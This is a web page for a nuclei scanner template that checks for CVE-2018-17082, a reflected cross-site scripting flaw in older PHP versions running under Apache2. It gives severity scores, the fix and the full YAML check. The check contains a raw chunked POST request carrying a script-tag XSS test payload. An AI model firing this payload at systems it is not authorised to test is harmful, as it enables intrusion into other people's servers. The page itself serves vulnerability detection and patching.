Apache2 - Transfer-Encoding Chunked XSS

mediumseverity

6.1CVSS score

4.1%likelihood of exploitation, next 30 days

91%of all CVEs are less likely

Readycheck to confirm it

Apache2 PHP before 5.6.38, 7.0.x before 7.0.32, 7.1.x before 7.1.22, and 7.2.x before 7.2.10 contain a reflected cross-site scripting vulnerability caused by mishandling of chunked transfer-encoding requests in sapi/apache2handler/sapi_apache2.c. Attackers can execute malicious scripts via crafted requests by sending a specially crafted chunked request.

Impact

Attackers can execute malicious scripts in the context of the affected server, leading to potential session hijacking or data theft.

Fix

Update to PHP 5.6.38, 7.0.32, 7.1.22, or 7.2.10 or later versions.

How to confirm it

Send: POST /
Positive when: contains "Bad Request<script>alert(document.domain)</script>" AND contains in content_type "text/html" AND status 400

Run it with nuclei: nuclei -id CVE-2018-17082 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2018-17082

info:
  name: Apache2 - Transfer-Encoding Chunked XSS
  author: DhiyaneshDK
  severity: medium
  description: |
    Apache2 PHP before 5.6.38, 7.0.x before 7.0.32, 7.1.x before 7.1.22, and 7.2.x before 7.2.10 contain a reflected cross-site scripting vulnerability caused by mishandling of chunked transfer-encoding requests in sapi/apache2handler/sapi_apache2.c. Attackers can execute malicious scripts via crafted requests by sending a specially crafted chunked request.
  impact: |
    Attackers can execute malicious scripts in the context of the affected server, leading to potential session hijacking or data theft.
  remediation: |
    Update to PHP 5.6.38, 7.0.32, 7.1.22, or 7.2.10 or later versions.
  reference:
    - https://bugs.php.net/bug.php?id=76582
    - https://github.com/php/php-src/commit/23b057742e3cf199612fa8050ae86cae675e214e
    - https://nvd.nist.gov/vuln/detail/CVE-2018-17082
    - https://security.gentoo.org/glsa/201812-01
    - https://github.com/ockeghem/web-sec-study/blob/master/why-CVE-2018-17082-is-not-XSS/README.md
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-17082
    cwe-id: CWE-79
    epss-score: 0.04103
    epss-percentile: 0.90843
    cpe: cpe:2.3:a:php:php:*:*:*:*:*:*:*:*
  metadata:
    verified: false
    max-request: 1
    vendor: php
    product: php
  tags: cve,cve2018,php,apache,xss,chunked,vuln

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Transfer-Encoding: chunked

        <script>alert(document.domain)</script>

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Bad Request<script>alert(document.domain)</script>"

      - type: word
        part: content_type
        words:
          - "text/html"

      - type: status
        status:
          - 400

References

Use this check only on systems you are authorised to test. Where the data comes from